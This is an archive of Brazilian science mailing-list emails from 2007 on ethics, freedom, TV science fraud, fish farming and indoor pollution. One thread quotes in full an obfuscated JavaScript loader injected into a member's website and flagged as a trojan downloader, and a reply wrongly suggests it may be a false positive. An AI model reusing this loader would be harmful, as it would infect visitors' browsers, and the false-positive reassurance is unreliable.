To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 23, 2007 3:48 PM
Subject: [ciencialist] Re: Qual o objetivo da discussão?


O que disse Nietzche para a moral serve para religiões e sistemas de
governo: "é uma invenção que o homem esqueceu que inventou".
Somos todos livres, sempre. Apenas fingimos que não, por medo da
responsabilidade que a liberdade traz.

[]s,
Pierre

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Bruna:
>
> O homem não pode ser livre pois é apenas um componente de um
sistema complexo: a humanidade. E essa humanidade, hoje, é totalmente
fracionada impondo ao homem uma serie de coerções tanto intelectuais
(religiões) como políticas (formas de governo) que não lhe é
permidido exercer o mito da liberdade.
> Ser livre é coisa para uso pessoal de poetas...
> E mesmo definir o que é ser "livre" é trabalho pesado pois temos
uma limitação absoluta: o corpo.... E como sem ele, não existimos,
temos de deixar essa utopia para as calendas gregas....
>
> sds.,
>
> silvio
> ----- Original Message -----
> From: Bruna Carolina Ribas
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, February 21, 2007 4:40 PM
> Subject: Re: [ciencialist] Re: Qual o objetivo da discussão?
>
>
> O intento é sermos livres,
> a começar por não dependermos dos animais não-humanos.
>
> Silvio Cordeiro <scordeiroes@...> escreveu: Mestre:
>
> Tomo a liberdade de dar minha opinião:
> Se as vacas fossem minhas, eu as salvaria primeiro.
> O defunto cremado serviria para adubo.
> Se não fosse proprietário nem pudesse roubar as vacas,
perguntaria ao cidadão em quem ele votou. E tomaria uma decisão.
>
> Aproveitando o ensejo, gostaria de entrar para a falange dos
adoradores da deusa Sensatez.
> A gran sacerdotiza Bruna poderia detalhar o escopo?
>
> grato,
>
> silvio
>
> sds.,
> silvio.
> ----- Original Message -----
> From: rmtakata
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 6:28 PM
> Subject: [ciencialist] Re: Qual o objetivo da discussão?
>
> --- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > O meu objetivo, Manu, é converter a todos para minha religião
chamada
> > Sensatez.
>
> Bom senso é um dos bens mais bem distribuídos do mundo: todo
mundo acha
> que tem.
>
> Continua a pergunta: 200 vacas ou 1 ser humano - quem vc salvaria
> prioritariamente em um incêndio?
>
> []s,
>
> Roberto Takata
>
> ----------------------------------------------------------
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.441 / Virus Database: 268.18.1/690 - Release Date:
16/2/2007 14:25
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>
>
> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
> http://br.messenger.yahoo.com/
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>
>
>
> ----------------------------------------------------------
----------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.441 / Virus Database: 268.18.1/690 - Release Date:
16/2/2007 14:25
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Ciencialist com site .com!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/02/2007 02:01

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Profundamente lamentável esse bairismo paulista: a zelite do
> ciencialist não privilegia nem um único botafoguense....
> Será que a tesoura vai cantar?

Paulista? O dono é gaúcho...

[]s,

Roberto Takata



SUBJECT: Profa. Dra. Eliane Moura Silva
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/02/2007 04:29

Daniel, o q vc acha de tentar contato com ela?

http://www.unicamp.br/~elmoura/
http://www.ateismo.globolog.com.br/

"A posição de Gleiser mostra como esse debate tende a ser menos
radical no Brasil. 'Por um lado, os brasileiros não se sentiriam
confortáveis se o Estado não fosse laico', diz a historiadora Eliane
Moura da Silva, da Unicamp, especializada em religiões. Mas ela afirma
que a religiosidade tem uma chancela oficial. Há um crucifixo em cada
Tribunal de Justiça e até no plenário do Congresso. 'Quando você chama
a atenção para isso, as pessoas se sentem ofendidas', diz. 'Mas e se
eu sou muçulmana e atrás do juiz tem um Cristo?' Ela afirma que a
religiosidade está enraizada na cultura nacional. 'As pessoas aqui
podem abandonar uma religião para abraçar alguma outra. Mas é uma
heresia se declarar ateu', diz Eliane. 'Enquanto discutíamos o
ateísmo, a aula ia bem. Quando mostrei minha posição - sou atéia -, as
pessoas ficaram incomodadas e agressivas.' A aula fazia parte de um
curso sobre grandes religiões. Um dos dias era dedicado à falta de
religião. 'As pessoas se revoltaram.'"
http://revistaepoca.globo.com/Revista/Epoca/0,,EDG75728-5990-443,00.html

[]s,

Roberto Takata



SUBJECT: Re: Profa. Dra. Eliane Moura Silva
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/02/2007 04:33

Pessoal, mil desculpas. Obviamente enviei a mensagem para o endereço
errado.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Daniel, o q vc acha de tentar contato com ela?




SUBJECT: Re: [ciencialist] Fw: Algo estranho em seu site + Homero, PVT
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <homero@atibaia.com.br>
DATE: 24/02/2007 08:46

Olá Homero,

na minha página original "index.asp" não tem esse Script. No original tenho a chamada:

===
<td height="187" width="180">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="170" height="170">
<param name="movie" value="clockcalendarwhite.swf" />
<param name="quality" value="high" /><embed src="clockcalendarwhite.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="170" height="170">
</object>
</td>
===

e, a partir disso, já começa meu texto de 'welcome'.

Essa parte que vc encontrou (e eu tb encontrei) não participa do original, ela foi introduzida (sei lá como) a partir da seguinte chamada ==> http://todo2pm.com/ <== que não sei de onde veio!
Ao entrar na minha página, observando a linha de 'status' vc verá aparecer esse http://todo2pm.com/ que não sei como foi aparecer na história.

Por via das dúvidas, estou enviando em anexo (C-List e PVT) o original de minha página de abertura "index.asp", assim vc poderá analisar como as 'coisas' entram on-line.

Agradeço sua atenção,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Oraculo" <oraculo@atibaia.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 23 de fevereiro de 2007 17:05
Assunto: Re: [ciencialist] Fw: Algo estranho em seu site


Olá Leo

Alguns sistemas anti-virus pdoem acusar "falsos positivos" para scritpts
legítimos. Dei uma olhada meio por cima e mais à noite verifico com mais
calma, mas aparentemente um trecho do script a seguir está disparando seu
antivirus:

-script language="JavaScript"- e = '0x00' + '63';
str1 =
"%D8%80%8B%96%FC%91%90%9B%88%87%DF%C2%96%8B%91%8B%82%8B%88%8B%90%9B%DA%84%8B%80%80%87%8E%C2%DE%D8%8B%86%92%83%8F%87%FC%91%92%81%DF%C2%84%90%90%8C%DA%CD%CD%90%8D%80%8D%D2%8C%8F%CE%81%8D%8F%CD%8F%87%8E%90%CD%C2%FC%95%8B%80%90%84%DF%D3%FC%84%87%8B%85%84%90%DF%D3%DE%D8%CD%8B%86%92%83%8F%87%DE%D8%CD%80%8B%96%DE";
str=tmp='';
for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));
str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
-script

Muitos sistemas de proteção lêem códigos de assinatura de virus que podem
ser parecidos ou combinar com essa sequencia de caracteres acima (o valor da
variável str1).

Se for isso, não deve se preocupar, pois sua página está "saudável". Pode
fazer um teste, salvando a página principal, sem este script e ver se a
mensagem de erro se repete.

Mais á noite vejo seu código com mais calma.

Um abraço.

Homero



----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Friday, February 23, 2007 4:25 PM
Subject: [ciencialist] Fw: Algo estranho em seu site


Eis outro, conforme texto abaixo.
As imagens que o acompanham não irão aparecer por aqui, então transcrevo:

Malware: Exploit JS.ADODB.Stream.ac

Trojan: Trojan-Downloader.JS.Agent.cb

Agradeço providências.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: LuizRDM
Para: profleo@yahoogrupos.com.br
Cc: leobarretos@uol.com.br
Enviada em: quarta-feira, 21 de fevereiro de 2007 23:36
Assunto: Algo estranho em seu site

Bom dia Professor Léo,

Encontrei seu site navegando no Intermática ( http://www.intermatica.org/ )
no infodrops 149 (em http://www.intermatica.org/INFODROPS-4.html )

Parabéns! Tenho 47 anos e achei fantástico!

Porém, algo estranho está ali...
Ao entrar (somente na página inicial)
disparou o alarme de Malware:

Clicando em Deny, um Trojan:

Navegando pela URL http://todo2pm.com/ verifiquei que
pertence a "Test Page for the Apache HTTP Server on Fedora Core".
O estranho é que no "código fonte" de seu site não encontrei
esse link.

Sugiro que o Sr. verifique o que estaria provocando isso pois
tenho certeza que não foi colocado pelo Sr.

Atenciosamente

Luiz Roberto De Marco

P.S. Uso o Kaspersky anti-vírus

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Version: 7.5.441 / Virus Database: 268.18.0/689 - Release Date: 15/02/2007
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[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Ciencialist com site .com!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/02/2007 08:55

Silvio Cordeiro apresenta uma informação estranha:

"Profundamente lamentável esse bairismo paulista: a zelite do ciencialist não privilegia nem um único botafoguense...."

O que é um 'botafoguense'? Qual o país? É de Angola?
Dentre os Estados do Brasil, SP, PR, SP, SC, SP, RGS, SP e algo que desabrocha como mg, não conheço nada que lembre um 'bota-fogo'!

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 23 de fevereiro de 2007 17:18
Assunto: Re: [ciencialist] Ciencialist com site .com!


Deus:

Profundamente lamentável esse bairismo paulista: a zelite do ciencialist não privilegia nem um único botafoguense....
Será que a tesoura vai cantar?

sds.,

silvio.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 23, 2007 1:19 PM
Subject: Re: [ciencialist] Ciencialist com site .com!


No setor EQUIPE

Luís Brudna ---------- com 's' e com acento no 'i'.

Luiz Ferraz Netto --- com 'z' e sem acento no 'i'.

Roberto M. Takata --- com M. (de significado indeterminado, provavelmente, Memoriosuki)

Se a página fosse na língua pátria (digamos, a nossa) eu me sentiria mais confortável e esperançoso. Os norte-americanos são atualmente "os mais fortes" e, de acordo com a seleção natural darwiniana, serão vencidos pelos mais fracos e oprimidos, que sobreviverão. Fiquemos do lado dos mais fracos e, se necessário, ao extremo, sejamos 'corintianos', afastando-nos dos mais fortes 'sãopaulinos' ou 'palmeirenses'.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 22 de fevereiro de 2007 11:15
Assunto: [ciencialist] Ciencialist com site .com!

Agora a Ciencialist tem site proprio! :-)

http://www.ciencialist.com

Instalei neste momento o Wordpress, que facilita a atualizacao.

Durante esse final de semana vou inserir as informacoes e modificar o visual.

Os moderadores poderao ter acesso ao controle do Wordpress.

Ateh
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[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] [RN] PROGRAMA DE TV JAPONES FALSIFICA CIENCIA
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/02/2007 12:56

Depois do programa ir ao ar, houve uma escassez de soja fermentada por
semanas devido ao enorme aumento na demanda.
Outro detalhe curioso é que dublaram o pesquisador americano dizendo
coisas exatamente opostas ao que descobriu.
Finalmente, outro elemento interessante é que levou certo tempo até
que a fraude óbvia fosse exposta. E não foi a primeira fraude, como se
descobriu. O mesmo programa havia falsificado dados sobre efeitos
benéficos da sopa de soja fermentada. Esta fraude passou despercebida
por meses, e deveria permanecer incólume indefinidamente não fosse o
escândalo da soja fermentada.

Isso tudo em um país com um dos mais altos níveis educacionais do planeta.

Mori

On 2/23/07, rmtakata <roberto.takata@bol.com.br> wrote:
> NATURE, 21-02-2007
>
> JAPANESE TV SHOW ADMITS FAKING SCIENCE
>
> For scientists who speak to the mass media about their research, a
> scandal surrounding a Japanese television show demonstrates just how
> badly things can go wrong. Kansai Telecasting Corporation (KTV) has
> admitted that it faked scientific results in one of its programmes,
> and used dubbing to put false words into the mouths of foreign
> researchers. After an outcry from the Japanese media, the company has
> cancelled the series and is reviewing all 520 episodes.
>
> One of the victims is Dr Kim, a professor at a US university who
> studies soya bean fermentation. He spoke to Nature but asked that his
> first name and affiliation be withheld. He was interviewed by KTV
> about his research in January 2006. When he finally watched that
> programme this month, he was horrified. The show — and Kim — trumpeted
> the health benefits of a fermented bean paste called miso. "They made
> it look like I said many things that I didn't. About 60% of the
> content was not correct," he says.
>
> Hakkutsu: Aruaru Daijiten II (which roughly translates as "Excavation:
> an encyclopedia of facts") was a popular weekly show broadcast for ten
> years by the Fuji Television Network and watched in around 15% of
> Japanese homes. Presented as a science documentary, the show covered
> food and health-related topics and was based on interviews with
> scientists. (e)
>
> http://www.nature.com/nature/journal/v445/n7130/full/445804a.html


SUBJECT: Re: [ciencialist] Re: Carne: enfim o método
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/02/2007 15:12

Com licença.....

Criar peixes de água salgada (para comercialização da carne) em ambiente artificial é inviável:não há tecnologia para recriar o ambiente marítimo.
Em rios, No S. Francisco já existem bons projetos de gaiolas dentro dos rios e as criações de salmões são todas artificiais (no Chile)
Um aquário para meixes (animais) marinhos é fácil de fazer das carece de muito tempo e cuidado. Tive um onde colocava lagostas para mostrar pros amigos a voracidade delas: basta colocar um peixe e ele é devorado na hora....
Meu filho é mergulhador e mestre de barco, entende pacas do metier.

silvio
----- Original Message -----
From: LECarvalho
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 11, 2007 8:14 PM
Subject: Re: [ciencialist] Re: Carne: enfim o método


At 17:21 11/2/2007, you wrote:

>Ponha uma coisa na sua cabeça, criação c/ aquário com água do mar é
>meio caro né?
>É muito mais fácil um empresário montar uma equipe de pesca. O pessoal
>compra mesmo o que foi pescado
>
>Abs,
>Romano

Voltemos, porém, à sua frase.

Ela dizia que...

Poder rir a vontade( mas para a saúde as carnes brancas são
melhores),
> > > >simplesmente porque são carnes magras.

A frase está errada.

Ponto.

L.E.

============================
>--- Em
><mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br,
>LECarvalho <lecarvalho@...>
>escreveu
> >
> > At 02:13 11/2/2007, you wrote:
> >
> > >Sim, as pessoas devem comprar carne de peixe de aquário,
> >
> >
> > ai, ai, ai...
> > Mas o de aquário é que é o problema.
> >
> > Tu faz feira ?
> > Tu enteinde de camarão ?
> >
> > O camarão de cativeiro, grande, é mais caro que o
> > camarão pescado, ainda que pequeno.
> >
> > Fica ixperto.
> >
> > L.E.
> >
> >
> >
> >
> >
> > > ninguém mais
> > >pesca, ninguém compra carne de pescado fresquinha :-) Faça-me o favor!
> > >
> > >O frango é que é o problema, mas tb a carne vermelha é. Ninguém sai
> > >por aí caçando bois e vacas.
> > >
> > >E as verduras, legumes e frutas com agrotóxicos, e se for assim não se
> > >faz nada, porque os herbívoros devem ingerir agrotóxicos.
> > >
> > >Mas a comprovação diz respeito a colesterol e gorduras e nisso as
> > >carnes brancas são melhores para a saúde humana que as carnes
> > >vermelhas, com excessão talvez, da carne vermelha magra
> > >
> > >Sds,
> > >Romano
> > >
> > >--- Em
> >
> ><mailto:ciencialist%40yahoogrupos.com.br><mailt
> o:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br,
> > >LECarvalho <lecarvalho@>
> > >escreveu
> > > >
> > > > At 21:00 10/2/2007, you wrote:
> > > >
> > > > >Poder rir a vontade( mas para a saúde as carnes brancas são
>melhores),
> > > > >simplesmente porque são carnes magras.
> > > >
> > > >
> > > >
> > > >
> > > > Carne branca de peixes criados em cativeiros... cheios de
>antibiótico ?
> > > >
> > > > Carne branca de galinhas criadas dentro de um
> > > > engradado, com hormonios e outros medicamentos ?
> > > >
> > > > Melhor que carne vermelha de caça ?
> > > >
> > > >
> > > > Isto era uma lista de ciencia.
> > > >
> > > > Off topic, tudo bem.
> > > >
> > > > Mas...
> > > > violações do método científico também ?
> > > >
> > > >
> > > > L.E.
> > > >
> > > >
> > > >
> > > >
> > > >
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[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Ciencialist com site .com!
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/02/2007 15:31

Sr. Deus:

Botagoguense é um estágio intelectual das pessoas que foram adoradores do Deus das Pernas Tortas. São escolhidas por virtuosas, hoje adoram uma estrela solitária e tem, como defeito - ninguém é perfeito, o hábito masoquista.

Amém.

silvio.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, February 24, 2007 8:55 AM
Subject: Re: [ciencialist] Ciencialist com site .com!


Silvio Cordeiro apresenta uma informação estranha:

"Profundamente lamentável esse bairismo paulista: a zelite do ciencialist não privilegia nem um único botafoguense...."

O que é um 'botafoguense'? Qual o país? É de Angola?
Dentre os Estados do Brasil, SP, PR, SP, SC, SP, RGS, SP e algo que desabrocha como mg, não conheço nada que lembre um 'bota-fogo'!

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 23 de fevereiro de 2007 17:18
Assunto: Re: [ciencialist] Ciencialist com site .com!

Deus:

Profundamente lamentável esse bairismo paulista: a zelite do ciencialist não privilegia nem um único botafoguense....
Será que a tesoura vai cantar?

sds.,

silvio.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 23, 2007 1:19 PM
Subject: Re: [ciencialist] Ciencialist com site .com!

No setor EQUIPE

Luís Brudna ---------- com 's' e com acento no 'i'.

Luiz Ferraz Netto --- com 'z' e sem acento no 'i'.

Roberto M. Takata --- com M. (de significado indeterminado, provavelmente, Memoriosuki)

Se a página fosse na língua pátria (digamos, a nossa) eu me sentiria mais confortável e esperançoso. Os norte-americanos são atualmente "os mais fortes" e, de acordo com a seleção natural darwiniana, serão vencidos pelos mais fracos e oprimidos, que sobreviverão. Fiquemos do lado dos mais fracos e, se necessário, ao extremo, sejamos 'corintianos', afastando-nos dos mais fortes 'sãopaulinos' ou 'palmeirenses'.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 22 de fevereiro de 2007 11:15
Assunto: [ciencialist] Ciencialist com site .com!

Agora a Ciencialist tem site proprio! :-)

http://www.ciencialist.com

Instalei neste momento o Wordpress, que facilita a atualizacao.

Durante esse final de semana vou inserir as informacoes e modificar o visual.

Os moderadores poderao ter acesso ao controle do Wordpress.

Ateh
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Poluição Doméstica
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 24/02/2007 15:43

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 16/02/2007 - No.042

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

___________________________________________________________________

Olá,

Você sabia que de cada 10 pessoas, uma apresenta algum tipo de alergia? No Brasil, mais de 20 mihões de pessoas sofrem com Rinite, Asma ou Urticária alérgica – um contingente maior que toda a população Australiana.

Fica a impressão de que atualmente mais pessoas sofrem com problemas alérgicos. Não é uma impressão errada. A modernidade trouxe como brinde um maior acesso e um maior contato com diversas substâncias potencialmente nocivas, e como cada ação resulta em uma reação...

Um dos ambientes menos suspeitos para contato com estas substâncias é sua própria casa. Ela pode ser um ninho de Alérgenos e é exatamente sobre isso que falaremos hoje.

Espero que seja uma boa leitura.

Nos vemos adiante,


Dr. Alessandro Loiola.

___________________________________________________________________

Poluição Doméstica
© Dr. Alessandro Loiola



Na ralação do dia a dia, todo mundo sonha com aquela hora sagrada de juntar as coisas e voltar para casa. Para a calma, a paz e a segurança de casa – é óbvio que isto não vale para quem tem crianças em casa ou vizinhas com TPM, mas você entendeu o conceito...

Sentir-se seguro em casa é uma das maiores armas contra o estresse. Nada como esparramar-se no sofá e deixar a tensão ir embora entre um cochilo despreocupado e outro.

Quem poderia imaginar que, em um cenário desses, o perigo pudesse estar à sua espreita, muito mais próximo do que você jamais imaginaria. O perigo poderia estar no próprio ar que você respira! Nos últimos anos, várias pesquisas vêm indicando que o ar em nossas casas pode estar mais contaminado que o ar da “rua”, mesmo em grandes cidades industrializadas. Muitos poluentes apresentam níveis 2 a 5 vezes maiores dentro de casa do que na rua.

A raiz do problema está nas várias fontes domésticas emissoras de gases e partículas microscópicas. Além disso, uma ventilação inadequada aumenta os níveis de agentes nocivos ao não permitir uma renovação adequada da atmosfera no interior da casa. Temperaturas elevadas e altos níveis de umidade também aumentam as concentrações de certos poluentes. O resultado: chegando em casa para o merecido descanso, eis que seu corpo começa a travar uma nova e estressante luta contra toxinas altamente perigosas.

As fontes mais comuns de poluição doméstica incluem óleos, ceras, produtos de limpeza, gás de cozinha, materiais de construção, tapetes, carpetes, cortinas de tecido, inseticidas, ar condicionado e materiais de construção estocados de maneira inapropriada.

Os efeitos da exposição a esta forma de poluição podem surgir imediatamente ou levar anos até se manifestar. Os mais imediatos incluem irritação dos olhos, nariz e garganta, dor de cabeça, tonteira e fadiga. As manifestações são mais comuns em idosos e crianças, justamente os mais expostos ao ambiente doméstico.

Em muitos casos, é difícil determinar se os sintomas foram causados por exposição à poluição doméstica. Por isso é importante ficar atento ao local e ao período em que as alterações ocorreram: sintomas recorrentes sempre que se tem contato com um determinado ambiente da casa sugerem que a poluição doméstica seja a causa.

As principais medidas que você pode tomar para reduzir a concentração de poluentes em casa incluem:


Corrija infiltrações nas paredes, elas são uma fonte importante de fungos. Tenho vários pacientes cujas crises periódicas de asma estavam relacionadas a paredes com infiltrações escondidas atrás de armários e outros móveis.


Prefira cortinas de PVC ao invés de tecido.


Mantenha seus tapetes e sofás limpos. Contrate firmas especializadas para fazer o serviço, se necessário.


Janelas e portas devem ficar abertas sempre que for possível e seguro.


Cuidado redobrado com a ventilação, principalmente quando estiver realizando pinturas, cozimentos, soldas e reformas em geral.


Ao ligar o ventilador de teto, prefira a função de exaustor. E verifique sempre se as paletas do ventilador estão devidamente limpas.


Faça manutenção periódica no seu ar-condicionado.


Plantas no interior da casa regadas excessivamente podem abrigar fungos na terra que lhes sustenta, afetando pessoas alérgicas.


Troque seu colchão a cada 5 anos e seu travesseiro a cada 1-3 anos. Para você ter uma idéia: calcula-se que, após 5 anos de uso, 10% do peso de um travesseiro seja composto por ácaros e células mortas descamadas da sua pele.


E NUNCA fume dentro de casa.

---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (eraDrauzio Varella - Folha
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/02/2007 18:42

Olá, Romano! Diga isso aos esquimós...
Para se adaptar ao frio não significa criar pelos.
Sabe por que muitos animais vivem nos pólos e não são peludos?
Porque se adaptaram.
[]s
JR
....................................

From: "romano_170" <romano_170@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 6:29 PM
Subject: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato
(eraDrauzio Varella - Folha


O que que é isso? Jamais nos adaptamos ao frio? Nenhum animal o fez?

Sds,Romano


--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...> escreveu

>
> JAMAIS nos adaptamos ao frio, nenhum animal jamais o fez. Mesmo os
mamutes lanudos não se adaptaram, apenas "restaram" na espécie,
descendentes de mamutes sem pelo, aqueles que, acidentalmente, tinham,
através da loteria genética, mais pelos naquele momento.




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SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/02/2007 20:47

Chicão: [ José Renato, se eu levar vantagem e não ser descoberto, é
inteligente e racional sim. [ ... ]
Todo mundo diz que não se deve transgredir as leis mas quase ninguém entende
o porquê das leis. ]
.....................

Olá, Chicão!
Spinoza já ironizava: o virtuoso é um egoísta de luneta. Vc pode brincar de
jogo tipo perde ou ganha, do tipo perde ou perde ou do tipo ganha e ganha.
Em qual deles vc acha que está a sabedoria, a justiça , a racionalidade e -
o que todos almejamos - a vida em paz para desfrutar de todas suas
maravilhas, sem precisar sacanear, explorar ou infelicitar alguém. Muitos,
porém, acham isso utópico e preferem obter tudo o que for possível aqui e
agora. E assim, chegamos no estado onde estamos...

Vc pode entender o porquê das leis conhecendo a história da humanidade, das
grandes civilizações e a história do que chamamos de Direito. Alguns
exemplos que vc pode encontrar em várias culturas: o poder total de vida ou
morte dos pais sobre os filhos, do senhor sobre o escravo e do rei sobre os
súditos, já foram admitidos por séculos. Com a organização social, viu-se
que isso não é o melhor. Leis aboliram a escravidão, os cidadãos têm direito
de vida ante o mandatário e o mando paterno é limitado por regras. Mas
muitos de nós não sofremos sob pais carrascos, reis sádicos e senhores
cruéis. Então ocorre o reciclo ou movimento pendular dos interesses
humanos-sociais. Grupos pró-aborto resgatam esse arcaico argumento sob a
falácia de que "a mulher tem o direito de dispor do seu corpo" e por isso
pode dar o fim que desejar ao filho contido em seu ventre ou até mesmo após
seu nascimento!

Não possuo qualquer argumento para ser "bonzinho". O "bonzinho" é o disfarce
mais usado para sacanear os outros e se sair bem. Nietzsche apontou o
vigoroso caminho para o "novo homem", íntegro, racional, em harmonia com as
forças naturais dos instintos. Ele também abominava os
"bonzinhos-sofredores" que aguardavam oportunidade para dominar e usufruir.

Muito provavelmente ainda passaremos séculos repetindo os ciclos históricos
do Direito, até nos convencermos de que a melhor forma de conviver é
considerar e respeitar o próximo. Afinal, é disso que as pessoas estão cada
vez mais carentes: respeito, consideração, valorização, justiça, paz,
carinho, gratidão, cuidado, verdade... A estupidez maior que cometo com
muita assiduidade é achar que posso obter todos esses desejados benefícios
só para mim! E os outros que se danem...
Tenho muita esperança na volta do ensino da Filosofia e Sociologia ao nosso
Ensino Médio.

Abraços

José Renato
.............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, February 19, 2007 5:20 PM
Subject: Re: [ciencialist] Crueldade com animais


Jose Renato, se eu levar vantagem e não ser descoberto, é inteligente e
racional sim. Esqueceu da
teoria dos jogos foi?? A não ser que ser altruísta seja vantajoso para o
agente racional.

Eu acreditava que voce estivesse entendendo o cerne da questão mas parece
que voce está querendo justificar a não lei de gérson por senso comum. Boa
sorte :p. Todo mundo diz que não se deve transgredir as leis mas quase
ninguem entende o porquê das leis.

Este debate encerrou-se temporariamente. A não ser que voce possua bons
argumentos para ser "bonzinho" :-).



> --- José Renato <jrma@terra.com.br> escreveu:
>
> Olá, Chicão! É por aí que nossa burrice nos leva a
> uma vida de faz-de-conta.
> Achamos que somos mais espertos que os outros. Eles
> sim devem cumprir as
> leis, eu faço o que quero tomando cuidado para que
> ninguém veja ou registre
> meus crimes. Desejo viver em paz mas não me esforço
> para construir uma
> comunidade de paz, nem na minha família. Mas quero
> que todos ajam comigo com
> toda a honestidade, critico e condeno quando alguém
> quer fazer comigo o
> mesmo que eu faço com outros, disfarçadamente. Vc
> pergunta: isso é ético?
> Pergunto eu: isso é racional? isso é inteligente?
> Abraços
> José Renato
> ............................................
>
>> From: "Chicao Valadares" <chicaovaladares@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Tuesday, February 13, 2007 1:01 PM
>> Subject: Re: [ciencialist] Crueldade com animais
>>
>>
>> JR - Mas se não é divulgado, tudo bem! O que os
>> olhos dos outros não vêem o
>> que cometi, os
>> corações piedosos nada sentem... E assim caminha a
>> humanidade, nos enganando
>> de que essa cultura da crueldade, mantida em segredo
>> nas nossas atitudes
>> pessoais e decisões particulares, só existe vez por
>> outra, quando aparece em
>> fotos chocantes nas manchetes dos jornais e nas
>> imagens da TV.
>>
>> Chicão: Jose Renato, começou a aparecer alguma coisa
>> interessante nos seus
